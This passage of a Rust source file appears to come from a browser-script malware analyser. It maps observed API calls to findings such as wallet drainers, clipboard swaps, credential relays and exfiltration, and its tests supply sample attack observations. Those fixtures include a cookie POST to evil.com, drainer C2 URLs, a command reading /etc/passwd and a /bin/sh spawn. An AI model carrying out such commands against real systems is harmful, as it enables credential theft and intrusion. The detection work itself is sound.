let webauthn_targeting = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"PublicKeyCredential.create"
| "PublicKeyCredential.get"
| "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
| "PublicKeyCredential.isConditionalMediationAvailable"
)
});
if webauthn_targeting
&& (s.has_external_fetch
|| !s.external_credential_action_indices.is_empty()
|| !s.popup_indices.is_empty())
{
let mut evidence = s.credential_api_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.extend(&s.popup_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Evasion
},
title: "Passkey/WebAuthn-targeted staged credential flow".into(),
detail: "Script probes or invokes WebAuthn/passkey APIs before staged delivery or credential action, indicating credential targeting adapted to passkey-capable environments".into(),
evidence,
});
}
let local_data_targeting = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"showOpenFilePicker"
| "showSaveFilePicker"
| "showDirectoryPicker"
| "navigator.contacts.select"
| "navigator.share"
)
});
if local_data_targeting
&& (s.has_external_fetch
|| !s.external_credential_action_indices.is_empty()
|| !s.popup_indices.is_empty())
{
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.extend(&s.popup_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Evasion
},
title: "Local data-targeting staged flow".into(),
detail: "Script touches local file, contact, or share surfaces before staged delivery or credential action, indicating adaptive attempts to capture user-held data or push staged content".into(),
evidence,
});
}
let capture_device_targeting = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"navigator.mediaDevices.getUserMedia"
| "navigator.mediaDevices.getDisplayMedia"
| "navigator.mediaDevices.enumerateDevices"
)
});
if capture_device_targeting
&& (s.has_external_fetch
|| !s.external_credential_action_indices.is_empty()
|| !s.popup_indices.is_empty())
{
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.extend(&s.popup_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Evasion
},
title: "Capture-device-targeted staged flow".into(),
detail: "Script probes camera, microphone, screen capture, or device inventory before staged delivery or credential action, indicating adaptive targeting of live user context rather than a static page lure".into(),
evidence,
});
}
let install_surface_targeting = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"navigator.registerProtocolHandler"
| "navigator.setAppBadge"
| "navigator.clearAppBadge"
| "launchQueue.setConsumer"
)
});
if install_surface_targeting
&& (s.has_external_fetch
|| !s.service_worker_indices.is_empty()
|| s.has_storage_write
|| !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Persistence
},
title: "Install-surface persistence staging".into(),
detail: "Script combines install or launch surfaces with storage, service-worker registration, or staged delivery, indicating an attempt to make abuse durable beyond a one-shot page interaction".into(),
evidence,
});
}
let offline_push_persistence = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"caches.open"
| "cache.put"
| "cache.match"
| "cache.add"
| "cache.addAll"
| "pushManager.subscribe"
| "sync.register"
| "periodicSync.register"
)
});
if offline_push_persistence
&& (s.has_external_fetch
|| !s.service_worker_indices.is_empty()
|| s.has_storage_write
|| !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.storage_write_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Persistence
},
title: "Offline/push persistence staging".into(),
detail: "Script combines cache, push, or background sync surfaces with service-worker registration, durable state, staged delivery, or credential actions, indicating background persistence beyond a one-shot lure".into(),
evidence,
});
}
let analysis_gating = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"document.visibilityState" | "document.hidden" | "navigator.webdriver"
)
});
if analysis_gating && s.has_external_fetch {
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Analysis-aware environment gating".into(),
detail: "Script checks visibility or automation-sensitive browser state before communicating externally, indicating deliberate anti-analysis or sandbox gating".into(),
evidence,
});
}
let self_source_read = s
.fingerprint_apis
.iter()
.any(|api| api == "document.currentScript");
if self_source_read && !s.dynamic_code_indices.is_empty() {
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.dynamic_code_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Self-referential dynamic loader".into(),
detail: "Script reads document.currentScript and executes dynamic code, indicating self-inspection or self-modifying staged obfuscation".into(),
evidence,
});
}
if !s.long_delay_timer_indices.is_empty() && s.has_external_fetch && s.has_fingerprint_access {
let mut evidence = s.long_delay_timer_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.fingerprint_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Fingerprint-gated delayed network staging".into(),
detail: "Script fingerprints the environment, then defers outbound activity with long-delay timers - a common anti-analysis and staged-delivery pattern".into(),
evidence,
});
}
if !s.long_delay_timer_indices.is_empty() && s.has_credential_surface {
let mut evidence = s.long_delay_timer_indices.clone();
evidence.extend(&s.credential_surface_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Delayed credential lure activation".into(),
detail: "Script defers a credential collection surface behind long-delay timers, indicating staged or time-gated phishing behavior".into(),
evidence,
});
}
if !s.scheduler_indices.is_empty()
&& (!s.service_worker_indices.is_empty() || !s.worker_indices.is_empty())
&& s.has_external_fetch
{
let mut evidence = s.scheduler_indices.clone();
evidence.extend(&s.service_worker_indices);
evidence.extend(&s.worker_indices);
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Scheduler-driven delayed staging".into(),
detail: "Script uses the Scheduler API together with background execution or off-origin activity, indicating intentionally deferred multi-step staging".into(),
evidence,
});
}
if !s.trusted_types_indices.is_empty() && (s.has_external_fetch || s.has_credential_surface) {
let mut evidence = s.trusted_types_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.credential_surface_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Trusted Types policy used in staged runtime flow".into(),
detail: "Script creates a Trusted Types policy alongside credential surfaces or off-origin activity, indicating a more sophisticated staged runtime than a simple lure".into(),
evidence,
});
}
let render_audio_fingerprinting = s.fingerprint_apis.iter().any(|api| {
api.starts_with("canvas.measureText")
|| api.starts_with("canvas.getImageData")
|| api.starts_with("canvas.toDataURL")
|| api.starts_with("canvas.getContext.")
|| api.starts_with("webgl.getParameter")
|| api.starts_with("webgl.getSupportedExtensions")
|| api.starts_with("webgl.readPixels")
|| api.starts_with("audio.createOscillator")
|| api.starts_with("audio.createAnalyser")
|| api.starts_with("audio.getFloatFrequencyData")
|| api.starts_with("audio.resume")
|| api.starts_with("audio.startRendering")
|| api.ends_with(".construct")
});
if render_audio_fingerprinting && (s.has_external_fetch || !s.websocket_indices.is_empty()) {
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.websocket_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Fingerprinting,
title: "Render/audio fingerprinting with outbound delivery".into(),
detail: "Script probes canvas, WebGL, or audio rendering surfaces and then performs off-origin delivery, a strong fingerprint-then-exfiltrate pattern".into(),
evidence,
});
}
let resource_environment_probing = s.fingerprint_apis.iter().any(|api| {
matches!(
api.as_str(),
"navigator.storage.estimate" | "navigator.getBattery" | "navigator.wakeLock.request"
)
});
if resource_environment_probing
&& (s.has_external_fetch
|| !s.popup_indices.is_empty()
|| !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.fingerprint_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.extend(&s.popup_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: if !s.external_credential_action_indices.is_empty() {
Severity::Critical
} else {
Severity::High
},
category: if !s.external_credential_action_indices.is_empty() {
Category::CredentialTheft
} else {
Category::Evasion
},
title: "Resource/power-aware staged targeting".into(),
detail: "Script probes storage quota, battery state, or wake-lock capability before staged delivery, indicating environment-aware targeting rather than ordinary feature use".into(),
evidence,
});
}
if !s.crypto_decrypt_indices.is_empty()
&& (s.has_external_fetch
|| s.has_credential_surface
|| !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.crypto_decrypt_indices.clone();
evidence.extend(&s.crypto_import_key_indices);
evidence.extend(&s.fetch_indices);
evidence.extend(&s.credential_surface_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CodeInjection,
title: "Encrypted payload staging and action delivery".into(),
detail: "Script uses WebCrypto decryption together with credential collection or off-origin activity, indicating encrypted staging rather than benign integrity checking".into(),
evidence,
});
}
if !s.crypto_decrypt_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
let mut evidence = s.crypto_decrypt_indices.clone();
evidence.extend(&s.dynamic_code_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: "Decrypted payload executed via dynamic code".into(),
detail: "Script decrypts content with WebCrypto and then reaches dynamic code execution, a strong indicator of encrypted loader behavior".into(),
evidence,
});
}
if !s.wasm_indices.is_empty() && s.has_external_fetch {
let mut evidence = s.wasm_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CodeInjection,
title: "WASM-backed staged payload delivery".into(),
detail: "Script instantiates or compiles WebAssembly before off-origin network delivery, indicating staged payload decoding or hidden loader behavior".into(),
evidence,
});
}
if !s.wasm_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
let mut evidence = s.wasm_indices.clone();
evidence.extend(&s.dynamic_code_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: "WASM-assisted dynamic execution".into(),
detail: "Script combines WebAssembly with dynamic code execution, a strong signal of staged runtime payload generation".into(),
evidence,
});
}
if !s.wasm_indices.is_empty()
&& (s.has_credential_surface || !s.external_credential_action_indices.is_empty())
{
let mut evidence = s.wasm_indices.clone();
evidence.extend(&s.credential_surface_indices);
evidence.extend(&s.external_credential_action_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "WASM-assisted credential staging".into(),
detail: "Script stages WebAssembly alongside credential collection or off-origin credential delivery, indicating hidden credential theft logic".into(),
evidence,
});
}
if s.has_wallet_connect && (s.has_sign_transaction || s.has_sign_message) {
let mut evidence = Vec::new();
if let Some(idx) = s.wallet_connect_idx {
evidence.push(idx);
}
evidence.extend(&s.sign_indices);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: "CONFIRMED: Crypto wallet drainer".into(),
detail: "Script connects to wallet AND requests transaction/message signing - this is a wallet drainer attack".into(),
evidence,
});
}
if s.has_wallet_connect && s.has_chain_switch {
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: "Wallet drainer with chain manipulation".into(),
detail: "Script connects wallet and switches chain - drainers move victims to attacker-controlled networks".into(),
evidence: s.wallet_connect_idx.into_iter().collect(),
});
}
if s.has_wallet_connect && s.has_external_fetch {
let mut evidence = Vec::new();
if let Some(idx) = s.wallet_connect_idx {
evidence.push(idx);
}
evidence.extend(&s.fetch_indices);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CryptoTheft,
title: "Wallet drainer with C2 communication".into(),
detail: format!(
"Script connects wallet and communicates with external server: {}",
s.external_urls.join(", ")
),
evidence,
});
}
if s.has_clipboard_read && s.has_clipboard_write {
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::ClipboardHijack,
title: "CONFIRMED: Clipboard swap attack".into(),
detail: "Script reads clipboard content and writes replacement - classic crypto address swap attack".into(),
evidence: Vec::new(),
});
}
if s.has_credential_surface
&& s.has_clipboard_read
&& s.input_monitor_events.iter().any(|event| event == "paste")
{
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.input_monitor_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Pasted secret interception".into(),
detail: "Script combines a credential surface with paste-event monitoring and clipboard reads, allowing interception of pasted one-time codes, passwords, or wallet secrets before submission".into(),
evidence,
});
}
if s.has_clipboard_write && s.has_wallet_connect {
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: "Clipboard + wallet combined attack".into(),
detail:
"Script manipulates clipboard AND connects to wallet - multi-vector crypto theft"
.into(),
evidence: Vec::new(),
});
}
if s.has_credential_surface && !s.notification_permission_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.notification_permission_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Credential lure with notification re-engagement".into(),
detail: "Script combines a credential surface with notification permission prompts, a common tactic for persistent phishing re-entry after the tab closes".into(),
evidence,
});
}
if !s.notification_permission_indices.is_empty() && !s.notification_create_indices.is_empty() {
let mut evidence = s.notification_permission_indices.clone();
evidence.extend(&s.notification_create_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Notification-based re-entry channel".into(),
detail: "Script requests notification permission and immediately prepares notification content, indicating persistent lure infrastructure rather than passive feature detection".into(),
evidence,
});
}
if s.has_wallet_connect && !s.payment_request_indices.is_empty() {
let mut evidence = s.payment_request_indices.clone();
if let Some(idx) = s.wallet_connect_idx {
evidence.push(idx);
}
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CryptoTheft,
title: "Wallet theft with browser payment coercion".into(),
detail: "Script combines wallet access with browser-native payment prompts, indicating multi-channel payment theft rather than a benign wallet interaction".into(),
evidence,
});
}
let mut coercion_indices = s.beforeunload_register_indices.clone();
coercion_indices.extend(s.fullscreen_indices.iter().copied());
coercion_indices.extend(s.pointer_lock_indices.iter().copied());
coercion_indices.sort_unstable();
coercion_indices.dedup();
if !s.urgent_dialog_indices.is_empty() && !coercion_indices.is_empty() {
let mut evidence = s.urgent_dialog_indices.clone();
evidence.extend(coercion_indices.iter().copied());
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Modal lock-in and navigation trapping".into(),
detail: "Script combines urgent blocking dialogs with navigation or UI-trapping controls such as beforeunload, fullscreen, or pointer lock, a classic tech-support scam and coercion pattern".into(),
evidence,
});
}
if !s.urgent_dialog_indices.is_empty()
&& (!s.beforeunload_trigger_indices.is_empty() || !coercion_indices.is_empty())
&& s.has_external_fetch
{
let mut evidence = s.urgent_dialog_indices.clone();
evidence.extend(coercion_indices.iter().copied());
evidence.extend(s.beforeunload_trigger_indices.iter().copied());
evidence.extend(s.fetch_indices.iter().copied());
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Evasion,
title: "Tech-support style lock-in with off-origin staging".into(),
detail: "Script combines urgent blocking dialogs, navigation or UI trapping, and off-origin activity, indicating a coercive lock-in campaign rather than benign exit handling".into(),
evidence,
});
}
let mut alarm_indices = s.vibration_indices.clone();
alarm_indices.extend(s.speech_indices.iter().copied());
alarm_indices.sort_unstable();
alarm_indices.dedup();
if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() {
let mut evidence = s.urgent_dialog_indices.clone();
evidence.extend(alarm_indices.iter().copied());
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Evasion,
title: "Alarm-style coercion cues".into(),
detail: "Script combines urgent warning dialogs with haptic or spoken alarm cues, a coercive panic pattern common in scam and support-lure flows".into(),
evidence,
});
}
if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() && s.has_external_fetch {
let mut evidence = s.urgent_dialog_indices.clone();
evidence.extend(alarm_indices.iter().copied());
evidence.extend(s.fetch_indices.iter().copied());
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::Evasion,
title: "Alarm-style coercion with off-origin staging".into(),
detail: "Script combines urgent warning dialogs, haptic or spoken alarm cues, and off-origin activity, indicating a panic-driven coercion flow rather than benign notification behavior".into(),
evidence,
});
}
let mut lifecycle_indices = s.beforeunload_register_indices.clone();
lifecycle_indices.extend(s.pagehide_register_indices.iter().copied());
lifecycle_indices.extend(s.visibilitychange_register_indices.iter().copied());
lifecycle_indices.sort_unstable();
lifecycle_indices.dedup();
if !lifecycle_indices.is_empty()
&& (s.has_external_fetch || !s.beacon_indices.is_empty() || !s.websocket_indices.is_empty())
{
let mut evidence = lifecycle_indices;
evidence.extend(s.fetch_indices.iter().copied());
evidence.extend(s.beacon_indices.iter().copied());
evidence.extend(s.websocket_indices.iter().copied());
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::DataExfiltration,
title: "Lifecycle-triggered exfiltration staging".into(),
detail: "Script registers lifecycle exit hooks such as beforeunload, pagehide, or visibilitychange alongside off-origin delivery, a common pattern for unload-time exfiltration and stealthy staged beacons".into(),
evidence,
});
}
if !s.geolocation_indices.is_empty() && s.has_external_fetch {
let mut evidence = s.geolocation_indices.clone();
evidence.extend(&s.fetch_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::PrivacyViolation,
title: "Location data collected and sent off-origin".into(),
detail: format!(
"Script accesses geolocation data and communicates externally: {}",
s.external_urls.join(", ")
),
evidence,
});
}
if s.has_credential_surface && !s.geolocation_indices.is_empty() {
let mut evidence = s.credential_surface_indices.clone();
evidence.extend(&s.geolocation_indices);
evidence.sort_unstable();
evidence.dedup();
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Geo-targeted credential lure".into(),
detail: "Script combines a credential collection surface with geolocation access, indicating location-aware victim selection or targeting".into(),
evidence,
});
}
s.findings.sort_by(|a, b| b.severity.cmp(&a.severity));
let risk_score = compute_risk_score(&s.findings);
AnalysisReport {
findings: s.findings,
timeline: s.timeline,
risk_score,
observation_count: observations.len(),
}
}
fn categorize_api(api: &str) -> Category {
if api.contains("ethereum")
|| api.contains("solana")
|| api.starts_with("crypto.sign")
|| api.starts_with("crypto.solana")
|| api.starts_with("crypto.chain")
{
Category::CryptoTheft
} else if api.contains("clipboard") {
Category::ClipboardHijack
} else if api.contains("geolocation") || api.contains("notification") || api.contains("payment")
{
Category::PrivacyViolation
} else if is_command_execution_api(api) {
Category::CodeInjection
} else if api.contains("cookie") {
Category::CookieAccess
} else if api.contains("fetch") || api.contains("xhr") || api.contains("Request") {
Category::NetworkActivity
} else if api.contains("eval") || api.contains("Function") || api.contains("executeScript") {
Category::CodeInjection
} else if api.contains("Storage") || api.contains("storage") {
Category::Persistence
} else if api.contains("fingerprint") || api.contains("canvas") || api.contains("webgl") {
Category::Fingerprinting
} else if api.contains("webRequest") {
Category::NetworkActivity
} else {
Category::DomManipulation
}
}
fn is_urgent_dialog_message(message: &str) -> bool {
let lower = message.to_ascii_lowercase();
[
"timeout",
"expired",
"session",
"error",
"try again",
"invalid",
"suspended",
"verify",
"unauthorized",
"blocked",
"infected",
"warning",
"support",
"call now",
"security",
]
.iter()
.any(|needle| lower.contains(needle))
}
fn extract_url_from_args(args: &[Value]) -> Option<String> {
for arg in args {
if let Value::String(s, _) = arg {
if s.starts_with("http://") || s.starts_with("https://") {
return Some(s.clone());
}
if s.starts_with('[')
&& let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
{
for item in arr {
if let Some(str_val) = item.as_str()
&& (str_val.starts_with("http://") || str_val.starts_with("https://"))
{
return Some(str_val.to_string());
}
}
}
if let Some(pos) = s.find("https://").or_else(|| s.find("http://")) {
let rest = &s[pos..];
let end = rest.find(['"', '\'', ' ', '>', ']']).unwrap_or(rest.len());
let url = &rest[..end];
if url.len() > 10 {
return Some(url.to_string());
}
}
}
}
None
}
fn is_external_url(url: &str) -> bool {
url.starts_with("http://") || url.starts_with("https://")
}
fn extract_first_string_arg(args: &[Value]) -> Option<String> {
for arg in args {
if let Value::String(s, _) = arg {
if s.starts_with('[') {
if let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
&& let Some(first) = arr.first()
&& let Some(s) = first.as_str()
{
return Some(s.to_string());
}
} else {
return Some(s.clone());
}
}
}
None
}
fn extract_second_string_arg(args: &[Value]) -> Option<String> {
for arg in args {
if let Value::String(s, _) = arg
&& s.starts_with('[')
&& let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
&& let Some(second) = arr.get(1)
&& let Some(s) = second.as_str()
{
return Some(s.to_string());
}
}
None
}
fn extract_third_string_arg(args: &[Value]) -> Option<String> {
for arg in args {
if let Value::String(s, _) = arg
&& s.starts_with('[')
&& let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
&& let Some(third) = arr.get(2)
&& let Some(s) = third.as_str()
{
return Some(s.to_string());
}
}
None
}
fn extract_delay_arg(args: &[Value]) -> Option<u32> {
for arg in args {
if let Value::String(s, _) = arg
&& s.starts_with('[')
&& let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
&& let Some(delay) = arr.get(1)
{
if let Some(n) = delay.as_u64() {
return u32::try_from(n).ok();
}
if let Some(s) = delay.as_str()
&& let Ok(n) = s.parse::<u32>()
{
return Some(n);
}
}
}
None
}
fn extract_postmessage_target_origin(args: &[Value]) -> Option<String> {
let raw = args.first().and_then(Value::as_str)?;
let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
parsed
.get(1)
.and_then(|v| v.as_str())
.map(ToString::to_string)
}
fn extract_postmessage_payload(args: &[Value]) -> Option<String> {
let raw = args.first().and_then(Value::as_str)?;
let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
parsed.first().map(|v| {
if let Some(s) = v.as_str() {
s.to_string()
} else {
v.to_string()
}
})
}
fn is_wildcard_target_origin(origin: &str) -> bool {
matches!(origin, "*" | "null" | "/" | "")
}
fn is_child_process_require(api: &str, args: &[Value]) -> bool {
matches!(api, "require" | "node:require")
&& extract_first_string_arg(args)
.is_some_and(|module| matches!(module.as_str(), "child_process" | "node:child_process"))
}
fn is_command_execution_api(api: &str) -> bool {
matches!(
api,
"child_process.exec" | "child_process.execSync" | "child_process.spawn"
)
}
fn compute_risk_score(findings: &[BehavioralFinding]) -> u8 {
let mut score: u32 = 0;
for finding in findings {
let base: u32 = match finding.severity {
Severity::Critical => 30,
Severity::High => 20,
Severity::Medium => 10,
Severity::Low => 5,
Severity::Info => 1,
_ => 1,
};
let multiplier: u32 = if finding.title.starts_with("CONFIRMED:")
|| finding.title.starts_with("DIRECT ETH TRANSFER")
{
2
} else {
1
};
score = score.saturating_add(base.saturating_mul(multiplier));
}
score.min(100) as u8
}
#[cfg(test)]
mod tests {
use super::*;
use crate::observation::DynamicCodeSource;
#[test]
fn cookie_plus_fetch_is_exfiltration() {
let observations = vec![
Observation::ApiCall {
api: "document.cookie.get".into(),
args: vec![],
result: Value::string("session=abc"),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/exfil\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(
report
.findings
.iter()
.any(|f| f.category == Category::DataExfiltration),
"should detect data exfiltration"
);
assert!(report.risk_score >= 30);
}
#[test]
fn eval_is_code_injection() {
let observations = vec![Observation::DynamicCodeExec {
source: DynamicCodeSource::Eval,
code_preview: "alert(1)".into(),
}];
let report = analyze(&observations);
assert!(
report
.findings
.iter()
.any(|f| f.category == Category::CodeInjection)
);
}
#[test]
fn empty_observations_zero_risk() {
let report = analyze(&[]);
assert_eq!(report.risk_score, 0);
assert!(report.findings.is_empty());
}
#[test]
fn crypto_wallet_drainer_scores_critical() {
let observations = vec![
Observation::ApiCall {
api: "ethereum.request".into(),
args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "crypto.sign_message".into(),
args: vec![Value::string(
"[\"eth_signTypedData_v4\",\"[\\\"0xVICTIM\\\",\\\"{}\\\"]\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://drainer-c2.evil/api/drain\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(
report
.findings
.iter()
.any(|f| f.category == Category::CryptoTheft && f.title.contains("CONFIRMED")),
"must detect confirmed crypto drainer, findings: {:?}",
report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
);
assert!(
report.risk_score >= 90,
"crypto wallet drainer must score >= 90, got {}",
report.risk_score
);
}
#[test]
fn clipboard_swap_detected() {
let observations = vec![
Observation::ApiCall {
api: "clipboard.readText".into(),
args: vec![],
result: Value::Undefined,
},
Observation::ApiCall {
api: "clipboard.writeText".into(),
args: vec![Value::string("0x742d35Cc6634C0532925a3b844Bc9e7595f2bD38")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(
report
.findings
.iter()
.any(|f| f.category == Category::ClipboardHijack && f.title.contains("CONFIRMED")),
"must detect confirmed clipboard swap"
);
assert!(
report
.findings
.iter()
.any(|f| f.title.contains("crypto address")),
"must detect crypto address in clipboard write"
);
}
#[test]
fn multi_vector_attack_maxes_risk() {
let observations = vec![
Observation::ApiCall {
api: "document.cookie.get".into(),
args: vec![],
result: Value::string("session=abc"),
},
Observation::ApiCall {
api: "ethereum.request".into(),
args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "clipboard.writeText".into(),
args: vec![Value::string("0xATTACKER")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "crypto.sign_transaction".into(),
args: vec![Value::string("[{\"to\":\"0xATTACKER\"}]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://mega-c2.evil/harvest\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert_eq!(
report.risk_score, 100,
"multi-vector attack must score 100, got {}",
report.risk_score
);
}
#[test]
fn child_process_exec_api_call_is_critical() {
let observations = vec![
Observation::ApiCall {
api: "require".into(),
args: vec![Value::string("child_process")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "child_process.exec".into(),
args: vec![Value::string("cat /etc/passwd")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(
report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CodeInjection
&& f.title.contains("Command execution")
}),
"expected critical command execution finding, got {:?}",
report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
);
assert!(
report.risk_score >= 50,
"expected elevated risk, got {}",
report.risk_score
);
}
#[test]
fn child_process_spawn_api_call_is_critical() {
let observations = vec![Observation::ApiCall {
api: "child_process.spawn".into(),
args: vec![Value::string("[\"/bin/sh\",\"-c\",\"id\"]")],
result: Value::Undefined,
}];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CodeInjection
&& f.title.contains("spawn")
}));
}
#[test]
fn postmessage_credential_relay_is_critical() {
let observations = vec![Observation::ApiCall {
api: "postMessage.send".into(),
args: vec![Value::string(
"[{\"email\":\"victim@example.com\",\"password\":\"hunter2\",\"otp\":\"123456\"},\"https://evil.com\"]",
)],
result: Value::Undefined,
}];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Credential relay via postMessage")
}));
}
